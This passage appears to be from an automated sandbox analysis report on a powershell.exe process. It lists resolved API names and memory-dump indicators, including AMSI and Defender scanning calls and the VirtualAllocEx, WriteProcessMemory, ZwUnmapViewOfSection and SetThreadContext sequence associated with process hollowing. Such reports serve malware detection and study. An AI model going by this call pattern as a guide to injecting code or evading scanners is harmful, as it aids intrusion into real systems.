CloseThreadpoolTimer (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessesW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcessW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00005784)2f:T978d,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: 